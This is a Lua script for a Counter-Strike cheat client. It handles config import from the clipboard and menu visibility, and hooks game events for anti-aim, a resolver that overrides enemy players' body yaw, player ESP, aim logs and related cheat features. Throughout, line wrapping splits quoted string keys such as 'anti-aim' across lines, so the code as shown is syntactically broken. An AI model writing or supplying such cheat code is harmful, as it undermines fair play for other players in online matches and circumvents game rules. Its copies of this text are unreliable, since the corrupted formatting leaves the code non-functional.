local import_config = ui.new_button(tab,container,"Import",function()

print("Config imported!")

local tbl = str_to_sub(base64.decode(clipboard.get(), 'base64'), "|")


local crescente = 1

for k,v in ipairs(menu["anti-aim"].anti_aim_states) do

ui_set(menu["anti-aim"].builder[v].enable, to_boolean(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].anti_backstab, to_boolean(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].pitch, tostring(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].pitch_custom,
tonumber(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].yaw_base, tostring(tbl[crescente]))
crescente = crescente + 1

if v ~= "Manual" then
ui_set(menu["anti-aim"].builder[v].yaw, tostring(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].random_flick,
to_boolean(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].delay_custom,
tonumber(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].yaw_jitter2,
tonumber(tbl[crescente]))
crescente = crescente + 1
end

ui_set(menu["anti-aim"].builder[v].yaw_custom,
tonumber(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].yaw_jitter,
tostring(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].yaw_jitter_custom,
tonumber(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].body_yaw, tostring(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].body_yaw_custom,
tonumber(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].defensive_enable,
to_boolean(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].defensive_force,
to_boolean(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].defensive_tick_stopper,
tonumber(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].defensive_choke,
to_boolean(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].defensive_pitch,
tostring(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].defensive_pitch_custom,
tonumber(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].defensive_yaw, tostring(tbl[crescente]))
crescente = crescente + 1
ui_set(menu["anti-aim"].builder[v].defensive_yaw_custom,
tonumber(tbl[crescente]))
crescente = crescente + 1
end

end)
functions["menu"].visibility = function()
if ui.is_menu_open() then

local skeet_tab = ui_get(menu["anti-aim"].anti_aim_selector) == "Skeet"

ui_set_visible(menu["main"].welcome_label,ui_menu.selected_tab ==
ui_menu.easier_tab.main)
ui_set_visible(menu["anti-aim"].dt_teleport,ui_menu.selected_tab ==
ui_menu.easier_tab.aa2)
ui_set_visible(ui_menu.aa,ui_menu.selected_tab == ui_menu.easier_tab.main)
ui_set_visible(ui_menu.aa2,ui_menu.selected_tab == ui_menu.easier_tab.main)
ui_set_visible(ui_menu.visuals,ui_menu.selected_tab ==
ui_menu.easier_tab.main)
ui_set_visible(ui_menu.misc,ui_menu.selected_tab ==
ui_menu.easier_tab.main)
ui_set_visible(ui_menu.cfg,ui_menu.selected_tab == ui_menu.easier_tab.main)
ui_set_visible(ui_menu.main,ui_menu.selected_tab ~=
ui_menu.easier_tab.main)

ui_set_visible(menu["extras"].icon,false)
ui_set_visible(menu["extras"].text,false)
ui_set_visible(menu["extras"].gradient,false)
ui_set_visible(menu["extras"].length,false)
ui_set_visible(menu["extras"].width,false)
ui_set_visible(menu["extras"].icon1,false)
ui_set_visible(menu["extras"].text1,false)
ui_set_visible(menu["extras"].gradient1,false)
ui_set_visible(menu["extras"].dynamic,false)
ui_set_visible(menu["extras"].length1,false)
ui_set_visible(menu["extras"].width1,false)

ui_set_visible(menu["anti-aim"].state_selector,ui_menu.selected_tab ==
ui_menu.easier_tab.aa)
ui_set_visible(menu["anti-aim"].anti_aim_selector,ui_menu.selected_tab ==
ui_menu.easier_tab.aa)
for k,v in ipairs(menu["anti-aim"].anti_aim_states) do
ui_set_visible(menu["anti-aim"].builder[v].enable,ui_get(menu["anti-
aim"].state_selector) == v and ui_menu.selected_tab == ui_menu.easier_tab.aa and
skeet_tab)
ui_set_visible(menu["anti-aim"].builder[v].pitch,ui_get(menu["anti-
aim"].state_selector) == v and ui_menu.selected_tab == ui_menu.easier_tab.aa and
skeet_tab)
ui_set_visible(menu["anti-
aim"].builder[v].pitch_custom,ui_get(menu["anti-aim"].state_selector) == v and
ui_get(menu["anti-aim"].builder[v].pitch) == "Custom"and ui_menu.selected_tab ==
ui_menu.easier_tab.aa and skeet_tab)
ui_set_visible(menu["anti-aim"].builder[v].yaw_base,ui_get(menu["anti-
aim"].state_selector) == v and ui_menu.selected_tab == ui_menu.easier_tab.aa and
skeet_tab)

if v ~= "Manual" then
ui_set_visible(menu["anti-aim"].builder[v].yaw,ui_get(menu["anti-
aim"].state_selector) == v and ui_menu.selected_tab == ui_menu.easier_tab.aa and
skeet_tab)
ui_set_visible(menu["anti-
aim"].builder[v].random_flick,ui_get(menu["anti-aim"].state_selector) == v and
ui_menu.selected_tab == ui_menu.easier_tab.aa and skeet_tab)
ui_set_visible(menu["anti-
aim"].builder[v].delay_custom,ui_get(menu["anti-aim"].state_selector) == v and
ui_menu.selected_tab == ui_menu.easier_tab.aa and (ui_get(menu["anti-
aim"].builder[v].yaw_jitter) == "Slow jitter" or ui_get(menu["anti-
aim"].builder[v].yaw_jitter) == "Slow 5-way") and skeet_tab)
ui_set_visible(menu["anti-
aim"].builder[v].yaw_jitter2,ui_get(menu["anti-aim"].state_selector) == v and
ui_menu.selected_tab == ui_menu.easier_tab.aa and (ui_get(menu["anti-
aim"].builder[v].yaw_jitter) == "Slow jitter" or ui_get(menu["anti-
aim"].builder[v].yaw_jitter) == "L&R" or ui_get(menu["anti-
aim"].builder[v].yaw_jitter) == "50/50") and skeet_tab)
end

ui_set_visible(menu["anti-
aim"].builder[v].yaw_custom,ui_get(menu["anti-aim"].state_selector) == v and (v ~=
"Manual" ) and ui_menu.selected_tab == ui_menu.easier_tab.aa and skeet_tab and
ui_get(menu["anti-aim"].builder[v].yaw) ~= "Off")
ui_set_visible(menu["anti-
aim"].builder[v].yaw_jitter,ui_get(menu["anti-aim"].state_selector) == v and
ui_menu.selected_tab == ui_menu.easier_tab.aa and skeet_tab)
ui_set_visible(menu["anti-
aim"].builder[v].yaw_jitter_custom,ui_get(menu["anti-aim"].state_selector) == v and
(v ~= "Manual") and ui_get(menu["anti-aim"].builder[v].yaw_jitter) ~= "Off" and
ui_menu.selected_tab == ui_menu.easier_tab.aa and skeet_tab)
ui_set_visible(menu["anti-aim"].builder[v].body_yaw,ui_get(menu["anti-
aim"].state_selector) == v and ui_menu.selected_tab == ui_menu.easier_tab.aa and
skeet_tab)
ui_set_visible(menu["anti-
aim"].builder[v].body_yaw_custom,ui_get(menu["anti-aim"].state_selector) == v and
ui_get(menu["anti-aim"].builder[v].body_yaw) ~= "Off" and ui_get(menu["anti-
aim"].builder[v].body_yaw) ~= "Opposite" and ui_get(menu["anti-
aim"].builder[v].body_yaw) ~= "Optimized slow" and ui_get(menu["anti-
aim"].builder[v].body_yaw) ~= "Optimized jitter"
and ui_get(menu["anti-aim"].builder[v].body_yaw) ~= "YawV2" and
ui_menu.selected_tab == ui_menu.easier_tab.aa and skeet_tab )

ui_set_visible(menu["anti-
aim"].builder[v].defensive_enable,ui_get(menu["anti-aim"].state_selector) == v and
ui_menu.selected_tab == ui_menu.easier_tab.aa and skeet_tab)
ui_set_visible(menu["anti-
aim"].builder[v].defensive_force,ui_get(menu["anti-aim"].state_selector) == v and
ui_menu.selected_tab == ui_menu.easier_tab.aa and ui_get(menu["anti-
aim"].builder[v].defensive_enable) and skeet_tab)
ui_set_visible(menu["anti-
aim"].builder[v].defensive_tick_stopper,ui_get(menu["anti-aim"].state_selector) ==
v and ui_menu.selected_tab == ui_menu.easier_tab.aa and ui_get(menu["anti-
aim"].builder[v].defensive_enable) and skeet_tab)
ui_set_visible(menu["anti-aim"].builder[v].defensive_choke,false)
ui_set_visible(menu["anti-
aim"].builder[v].defensive_yaw,ui_get(menu["anti-aim"].state_selector) == v and
ui_menu.selected_tab == ui_menu.easier_tab.aa and ui_get(menu["anti-
aim"].builder[v].defensive_enable) and skeet_tab)
ui_set_visible(menu["anti-
aim"].builder[v].defensive_yaw_custom,ui_get(menu["anti-aim"].state_selector) == v
and ui_menu.selected_tab == ui_menu.easier_tab.aa and ui_get(menu["anti-
aim"].builder[v].defensive_enable) and
ui_get(menu["anti-aim"].builder[v].defensive_yaw) ~= "Off" and
ui_get(menu["anti-aim"].builder[v].defensive_yaw) ~= "Random" and
ui_get(menu["anti-aim"].builder[v].defensive_yaw) ~= "Sideways" and skeet_tab)
ui_set_visible(menu["anti-
aim"].builder[v].defensive_yaw_custom1,ui_get(menu["anti-aim"].state_selector) == v
and ui_menu.selected_tab == ui_menu.easier_tab.aa and ui_get(menu["anti-
aim"].builder[v].defensive_enable) and
ui_get(menu["anti-aim"].builder[v].defensive_yaw) == "L&R" and
skeet_tab)
ui_set_visible(menu["anti-
aim"].builder[v].defensive_pitch,ui_get(menu["anti-aim"].state_selector) == v and
ui_menu.selected_tab == ui_menu.easier_tab.aa and ui_get(menu["anti-
aim"].builder[v].defensive_enable) and skeet_tab)
ui_set_visible(menu["anti-
aim"].builder[v].defensive_pitch_custom,ui_get(menu["anti-aim"].state_selector) ==
v and ui_menu.selected_tab == ui_menu.easier_tab.aa and ui_get(menu["anti-
aim"].builder[v].defensive_enable) and ui_get(menu["anti-
aim"].builder[v].defensive_pitch) == "Custom" and skeet_tab)

end

for k,v in ipairs(menu["anti-aim"].anti_aim_states) do


ui_set_visible(Venus_aa[v].enable,ui_get(menu["anti-
aim"].state_selector) == v and ui_menu.selected_tab == ui_menu.easier_tab.aa and
not skeet_tab)
ui_set_visible(Venus_aa[v].pitch,ui_get(menu["anti-
aim"].state_selector) == v and ui_menu.selected_tab == ui_menu.easier_tab.aa and
not skeet_tab)
-- ui_set_visible(Venus_aa[v].pitch_custom,ui_get(menu["anti-
aim"].state_selector) == v and ui_get(Venus_aa[v].pitch) == "Custom"and
ui_menu.selected_tab == ui_menu.easier_tab.aa and skeet_tab)
ui_set_visible(Venus_aa[v].yaw,ui_get(menu["anti-aim"].state_selector)
== v and ui_menu.selected_tab == ui_menu.easier_tab.aa and not skeet_tab)
ui_set_visible(Venus_aa[v].yaw_custom,ui_get(menu["anti-
aim"].state_selector) == v and (v ~= "Manual" ) and ui_menu.selected_tab ==
ui_menu.easier_tab.aa and ui_get(Venus_aa[v].yaw) ~= "Off" and not skeet_tab)
ui_set_visible(Venus_aa[v].yaw_jitter,ui_get(menu["anti-
aim"].state_selector) == v and ui_menu.selected_tab == ui_menu.easier_tab.aa and
not skeet_tab)
ui_set_visible(Venus_aa[v].yaw_jitter_custom,ui_get(menu["anti-
aim"].state_selector) == v and ui_get(Venus_aa[v].yaw_jitter) ~= "Off" and
ui_menu.selected_tab == ui_menu.easier_tab.aa and not skeet_tab)
ui_set_visible(Venus_aa[v].body_yaw,ui_get(menu["anti-
aim"].state_selector) == v and ui_menu.selected_tab == ui_menu.easier_tab.aa and
not skeet_tab)
ui_set_visible(Venus_aa[v].body_yaw_custom,ui_get(menu["anti-
aim"].state_selector) == v and ui_menu.selected_tab == ui_menu.easier_tab.aa and
not skeet_tab)

end

ui_set_visible(menu["anti-aim"].disable_on_quickpeek,ui_menu.selected_tab
== ui_menu.easier_tab.aa2 and skeet_tab)

ui_set_visible(menu["anti-aim"].freestanding_disablers,ui_menu.selected_tab
== ui_menu.easier_tab.aa2 and skeet_tab)
ui_set_visible(menu["anti-aim"].anti_backstab,ui_menu.selected_tab ==
ui_menu.easier_tab.aa2)
ui_set_visible(menu["anti-aim"].safe_anti_aim,ui_menu.selected_tab ==
ui_menu.easier_tab.aa2 and skeet_tab)
ui_set_visible(menu["visuals"].indicator,ui_menu.selected_tab ==
ui_menu.easier_tab.visuals)

ui_set_visible(menu["visuals"].indicator_scoped_animation,ui_menu.selected_tab ==
ui_menu.easier_tab.visuals and ui_get(menu["visuals"].indicator) ~= "Disabled")
ui_set_visible(menu["visuals"].indicator_color,ui_menu.selected_tab ==
ui_menu.easier_tab.visuals and ui_get(menu["visuals"].indicator) == "Default")
ui_set_visible(menu["visuals"].defensive_indicator,ui_menu.selected_tab ==
ui_menu.easier_tab.visuals)

ui_set_visible(menu["visuals"].defensive_indicator_color,ui_menu.selected_tab ==
ui_menu.easier_tab.visuals and ui_get(menu["visuals"].defensive_indicator))
ui_set_visible(menu["visuals"].desync_indicator,ui_menu.selected_tab ==
ui_menu.easier_tab.visuals)
ui_set_visible(menu["visuals"].desync_indicator_color,ui_menu.selected_tab
== ui_menu.easier_tab.visuals and ui_get(menu["visuals"].desync_indicator))
ui_set_visible(menu["visuals"].slow_down_indicator,ui_menu.selected_tab ==
ui_menu.easier_tab.visuals)

ui_set_visible(menu["visuals"].slow_down_indicator_color,ui_menu.selected_tab ==
ui_menu.easier_tab.visuals and ui_get(menu["visuals"].slow_down_indicator))

ui_set_visible(menu["visuals"].minimum_damage_indicator,ui_menu.selected_tab ==
ui_menu.easier_tab.visuals)

ui_set_visible(menu["visuals"].manual_anti_aim_indicators,ui_menu.selected_tab ==
ui_menu.easier_tab.visuals)
ui_set_visible(menu["visuals"].mi_type,ui_menu.selected_tab ==
ui_menu.easier_tab.visuals and ui_get(menu["visuals"].manual_anti_aim_indicators))
ui_set_visible(menu["visuals"].ot_watermark,ui_menu.selected_tab ==
ui_menu.easier_tab.visuals)
ui_set_visible(menu["visuals"].watermark_logo,ui_menu.selected_tab ==
ui_menu.easier_tab.visuals and ui_get(menu["visuals"].ot_watermark))
ui_set_visible(menu["visuals"].watermark_spacing,ui_menu.selected_tab ==
ui_menu.easier_tab.visuals and ui_get(menu["visuals"].ot_watermark) and
ui_get(menu["visuals"].watermark_logo))

ui_set_visible(menu["visuals"].manual_anti_aim_indicators_color,ui_menu.selected_ta
b == ui_menu.easier_tab.visuals and
ui_get(menu["visuals"].manual_anti_aim_indicators))
ui_set_visible(menu["visuals"].player_esp,ui_menu.selected_tab ==
ui_menu.easier_tab.visuals)
ui_set_visible(menu["visuals"].zeus_esp,ui_menu.selected_tab ==
ui_menu.easier_tab.visuals and
table_contains(ui_get(menu["visuals"].player_esp),"Zeus esp"))
ui_set_visible(menu["visuals"].target_color,ui_menu.selected_tab ==
ui_menu.easier_tab.visuals and
table_contains(ui_get(menu["visuals"].player_esp),"At target flag"))
ui_set_visible(menu["visuals"].target_label,ui_menu.selected_tab ==
ui_menu.easier_tab.visuals and
table_contains(ui_get(menu["visuals"].player_esp),"At target flag"))
ui_set_visible(menu["visuals"].zeus_indicator_color,ui_menu.selected_tab ==
ui_menu.easier_tab.visuals and
table_contains(ui_get(menu["visuals"].player_esp),"Zeus esp") and
table_contains(ui_get(menu["visuals"].zeus_esp),"Flag"))

ui_set_visible(menu["misc"].local_animations,ui_menu.selected_tab ==
ui_menu.easier_tab.misc)
ui_set_visible(menu["misc"].resolver,ui_menu.selected_tab ==
ui_menu.easier_tab.misc)
ui_set_visible(menu["misc"].safe_point,ui_menu.selected_tab ==
ui_menu.easier_tab.misc)
ui_set_visible(menu["misc"].fps_boost,ui_menu.selected_tab ==
ui_menu.easier_tab.misc)
ui_set_visible(menu["misc"].kill_say,ui_menu.selected_tab ==
ui_menu.easier_tab.misc)
ui_set_visible(menu["misc"].sunset_mode,ui_menu.selected_tab ==
ui_menu.easier_tab.misc)
ui_set_visible(menu["misc"].show_keybinds, ui_menu.selected_tab ==
ui_menu.easier_tab.aa2)
ui_set_visible(menu["misc"].fast_ladder_box, ui_menu.selected_tab ==
ui_menu.easier_tab.misc)
ui_set_visible(menu["misc"].ladder_yaw_slider, ui_menu.selected_tab ==
ui_menu.easier_tab.misc and ui_get(menu["misc"].fast_ladder_box))
ui_set_visible(menu["misc"].manual_r,ui_menu.selected_tab ==
ui_menu.easier_tab.aa2 and ui_get(menu["misc"].show_keybinds))
ui_set_visible(menu["misc"].manual_b,ui_menu.selected_tab ==
ui_menu.easier_tab.aa2 and ui_get(menu["misc"].show_keybinds))
ui_set_visible(menu["misc"].manual_l,ui_menu.selected_tab ==
ui_menu.easier_tab.aa2 and ui_get(menu["misc"].show_keybinds))
ui_set_visible(menu["misc"].manual_f,ui_menu.selected_tab ==
ui_menu.easier_tab.aa2 and ui_get(menu["misc"].show_keybinds))
ui_set_visible(menu["misc"].freestanding,ui_menu.selected_tab ==
ui_menu.easier_tab.aa2 and ui_get(menu["misc"].show_keybinds))
ui_set_visible(menu["misc"].aim_logs,ui_menu.selected_tab ==
ui_menu.easier_tab.misc)
ui_set_visible(menu["misc"].aim_logs_hit_color,ui_menu.selected_tab ==
ui_menu.easier_tab.misc and ui_get(menu["misc"].aim_logs))
ui_set_visible(menu["misc"].aim_logs_miss_color,ui_menu.selected_tab ==
ui_menu.easier_tab.misc and ui_get(menu["misc"].aim_logs))
ui_set_visible(menu["misc"].aim_logs_hit_label,ui_menu.selected_tab ==
ui_menu.easier_tab.misc and ui_get(menu["misc"].aim_logs))
ui_set_visible(menu["misc"].aim_logo,ui_menu.selected_tab ==
ui_menu.easier_tab.misc and ui_get(menu["misc"].aim_logs))
ui_set_visible(menu["misc"].logo_slider,ui_menu.selected_tab ==
ui_menu.easier_tab.misc and ui_get(menu["misc"].aim_logs) and
ui_get(menu["misc"].aim_logo))
ui_set_visible(menu["misc"].aim_logs_miss_label,ui_menu.selected_tab ==
ui_menu.easier_tab.misc and ui_get(menu["misc"].aim_logs))
ui_set_visible(menu["misc"].old_logs,ui_menu.selected_tab ==
ui_menu.easier_tab.misc)

ui_set_visible(import_config,ui_menu.selected_tab ==
ui_menu.easier_tab.config)
ui_set_visible(export_file,ui_menu.selected_tab ==
ui_menu.easier_tab.config)
ui_set_visible(config_texiste,ui_menu.selected_tab ==
ui_menu.easier_tab.config)
ui_set_visible(load_cfg,ui_menu.selected_tab == ui_menu.easier_tab.config)
ui_set_visible(sounds,ui_menu.selected_tab == ui_menu.easier_tab.config)
ui_set_visible(new_text,ui_menu.selected_tab == ui_menu.easier_tab.config)
ui_set_visible(create_file,ui_menu.selected_tab ==
ui_menu.easier_tab.config)
ui_set_visible(remove_file,ui_menu.selected_tab ==
ui_menu.easier_tab.config)
ui_set_visible(save_file_cfg,ui_menu.selected_tab ==
ui_menu.easier_tab.config)

ui_set_visible(menu_reference.enabled,false)
ui_set_visible(menu_reference.pitch[1],false)
ui_set_visible(menu_reference.pitch[2],false)
ui_set_visible(menu_reference.yawbase,false)
ui_set_visible(menu_reference.yaw[1],false)
ui_set_visible(menu_reference.yaw[2],false)
ui_set_visible(menu_reference.yawjitter[1],false)
ui_set_visible(menu_reference.yawjitter[2],false)
ui_set_visible(menu_reference.bodyyaw[1],false)
ui_set_visible(menu_reference.bodyyaw[2],false)
ui_set_visible(menu_reference.roll,false)
ui_set_visible(menu_reference.freestand[1],false)
ui_set_visible(menu_reference.freestand[2],false)
ui_set_visible(menu_reference.freestand_body[1],false)
ui_set_visible(menu_reference.edgeyaw,false)
end
end

local has_checked = false


local function main_paint()

local w,h = client.screen_size()


functions["visuals"].watermark(w,h)
get_bots_players()
functions["visuals"].crosshair_indicator(w,h)
functions["visuals"].simple_crosshair_indicators(w,h)
functions["visuals"].desync_indicator(w,h)
functions["visuals"].slow_down_indicator(w,h)
functions["visuals"].minimum_damage_indicator(w,h)
functions["visuals"].manual_anti_aim_indicators(w,h)
functions["visuals"].aim_logs(w,h)
functions["visuals"].zeus_indicator()
functions["visuals"].zeus_out_of_view()
functions["visuals"].old_logs(w,h)
functions["visuals"].side_defensive_menu(w,h)
functions["visuals"].defensive_open(w,h)
functions["visuals"].side_slow_menu(w,h)
functions["visuals"].slow_open(w,h)
collidable()

if ui.get(menu["misc"].fps_boost) and has_checked == false then


functions["visuals"].fps_boost(0)
has_checked = true
elseif not ui.get(menu["misc"].fps_boost) and has_checked == true then
functions["visuals"].fps_boost(1)
has_checked = false
end

functions["visuals"].defensive_indicator(w,h)
functions["misc"].sunset()
if functions["anti-aim"].sim_time ~= nil and functions["anti-aim"].sim_time < 0
then
functions["anti-aim"].sim_tick=globals_tickcount()
end

functions["misc"].resolver()

logs.three = {}
dbs.size = 0

end

local function main_paint_ui()

local w,h = client.screen_size()


functions["menu"].visibility()

if entity.get_local_player() == nil then


functions["visuals"].is_defensive = false
end

if ui.is_menu_open() and ui_menu.selected_tab == ui_menu.easier_tab.config then


ui.update(sounds,update_cfg())
end
end

local function main_setup(cmd)


if ui_get(menu["anti-aim"].anti_aim_selector) == "Skeet" then
functions["anti-aim"].anti_aim_setup(cmd)
else
functions["anti-aim"].venus_anti_aim(cmd)
end

functions["misc"].fast_ladder(cmd)
functions["anti-aim"].teleport_techology()

if not should_shoot then


cmd.in_attack = false
cmd.in_attack2 = 0
end

should_shoot = true

end

local function main_pre_render()


functions["misc"].local_animations()
end

local function main_shutdown()


ui_set_visible(menu_reference.enabled,true)
ui_set_visible(menu_reference.pitch[1],true)
ui_set_visible(menu_reference.pitch[2],true)
ui_set_visible(menu_reference.yawbase,true)
ui_set_visible(menu_reference.yaw[1],true)
ui_set_visible(menu_reference.yaw[2],true)
ui_set_visible(menu_reference.yawjitter[1],true)
ui_set_visible(menu_reference.yawjitter[2],true)
ui_set_visible(menu_reference.bodyyaw[1],true)
ui_set_visible(menu_reference.bodyyaw[2],true)
ui_set_visible(menu_reference.roll,true)
ui_set_visible(menu_reference.freestand[1],true)
ui_set_visible(menu_reference.freestand[2],true)
ui_set_visible(menu_reference.freestand_body[1],true)
ui_set_visible(menu_reference.edgeyaw,true)

if resolver_status == true then


for i = 1, globals.maxplayers() do
if entity_get_prop(i,"m_iTeamNum") ~=
entity_get_prop(entity_get_local_player(),"m_iTeamNum") then
plist.set(i, "Force body yaw", false)
plist.set(i, "Force body yaw value",0)
end
end
end

if functions["misc"].sunset_active == true then


local sun_prop = entity.get_all('CCascadeLight')[1]

entity.set_prop(sun_prop,"m_envLightShadowDirection",functions["misc"].old_sun.x,fu
nctions["misc"].old_sun.y,functions["misc"].old_sun.z)
end

if has_checked then
functions["visuals"].fps_boost(1)
end

database.write("def_indicator_x", dbs.defensive_x)
database.write("def_indicator_y", dbs.defensive_y)
database.write("slow_indicator_x", dbs.slow_x)
database.write("slow_indicator_y", dbs.slow_y)
end

client_set_event_callback("bomb_exploded",function()
functions["anti-aim"].bomb_was_bombed = true
end)

client_set_event_callback("bomb_defused",function()
functions["anti-aim"].bomb_was_defused = true
end)

client_set_event_callback("round_start",function()
functions["anti-aim"].bomb_was_defused=false
functions["anti-aim"].bomb_was_bombed=false
miss_sp = {}
end)

client_set_event_callback("net_update_end", functions["misc"].safe_point)

client_set_event_callback("paint", main_paint)
client_set_event_callback("paint_ui", main_paint_ui)
client_set_event_callback("pre_render", main_pre_render)
client_set_event_callback("setup_command", main_setup)
client_set_event_callback("shutdown", main_shutdown)

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